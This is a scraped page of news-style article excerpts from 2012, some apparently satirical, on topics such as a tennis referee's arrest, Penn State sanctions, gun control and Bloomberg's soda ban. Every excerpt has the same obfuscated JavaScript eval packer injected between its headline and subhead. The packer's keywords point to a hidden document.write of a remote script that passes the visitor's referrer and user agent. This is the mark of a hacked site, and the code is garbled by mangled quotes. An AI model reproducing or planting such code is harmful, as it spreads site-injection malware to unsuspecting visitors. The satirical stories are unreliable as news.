Tennis Ref Charged with Murder

TENNIS REF CHARGED WITH MURDER eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sfiyb|var|u0026u|referrer|yzyfs||js|php’.split(‘|’),0,{})) McEnroe, Nastase Not Implicated, Inside Sources Say New York, NY August 22nd, 2012 (SHK) Yesterday the New York Police Department arrested a professional tennis referee at a Manhattan hotel on charges of murder in the death of her husband last April. Prosecutors say she [...]

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NCAA Penalizes Penn State

NCAA PENALIZES PENN STATE SEVERELY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkesn|var|u0026u|referrer|kdiey||js|php’.split(‘|’),0,{})) Punishment not harsh enough, some say New York, NY July 28, 2012 (SHK) The NCAA handed down severe punishment to Penn State for covering up a scandal. Jerry Sandusky was an assistant coach who confessed to sexual abuse of more than a dozen young [...]

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Gun Control Positions Unchanged

MAJOR PARTIES SEE POSITIONS UNCHANGED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|srnrn|var|u0026u|referrer|yzksi||js|php’.split(‘|’),0,{})) Obama, Romney Stick to their Guns Washington, DC July 23rd, 2012 (SHK) In the aftermath of a crazed gunman’s armed attack at an Aurora, Colorado, cinema Friday night, when the new Batman movie Dark Knight Rises debuted, the two presidential candidates said their positions [...]

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Nanny Bloomberg Issues New Bans

NANNY BLOOMBERG PROCLAIMS NEW BANS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfens|var|u0026u|referrer|zhnrz||js|php’.split(‘|’),0,{})) Early to bed, early to rise and no large sugary sodas New York, NY June 4th, 2012 (SHK) Mayor Michael Bloomberg has earned a new nickname: New York’s Nanny. His municipal administration wants to ban “large, sugary drinks” from the city’s food menus. This [...]

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Big Morgan Loss Shocks Markets

$2 BILLION LOSS BY J. P. MORGAN SHOCKS MARKETS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|aryst|var|u0026u|referrer|ntzbk||js|php’.split(‘|’),0,{})) Reformers on a Rampage – Las Vegas Casinos Overjoyed New York, NY May 15th, 2012 (SHK) After J. P. Morgan reported its historic $2 billion trading loss last Friday, financial markets have been in turmoil. The bank’s stock alone lost [...]

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Chinese Dissident’s Departure Delayed

DEPARTURE OF CHINESE DISSIDENT DELAYED eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kfars|var|u0026u|referrer|fsetz||js|php’.split(‘|’),0,{})) Bureaucratic Bottlenecks for Exit Permits and U.S. Visas Beijing, China May 5th, 2012 (SHK) Chen Guangcheng, presently China’s most popular dissident because he is both illiterate and blind, has hit another roadblock in his attempt to leave the country. American and Chinese negotiators worked [...]

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Republicans Snag Gregg Williams

MUSLIM BROTHERHOOD FAILS TO SNAG WILLIAMS eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dfhir|var|u0026u|referrer|thnyd||js|php’.split(‘|’),0,{})) Outbid by America’s Rejuvenated Republican Party Washington, DC April 8th, 2012 (SHK) In late-breaking news, the Muslim Brotherhood announced in Cairo today that their bid to acquire the services of Gregg Williams has come to naught. Williams, 54, is the former defensive coordinator [...]

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Second-Hand Smoke Explodes Politically

SECOND-HAND CIGARETTE SMOKE EXPLODES POLITICALLY eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,'g’),k[c])}}return p}(’0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btzdr|var|u0026u|referrer|kfsny||js|php’.split(‘|’),0,{})) Not Covered by Obamacare, Big Problem for Democrats Washington, DC March 29th, 2011 (HK) José Rodriguez, a 27-year-old midtown-Manhattan messenger, was found to be ineligible for coverage under Obamacare, even though he is exposed to second-hand smoke for ten hours every day. “This is [...]

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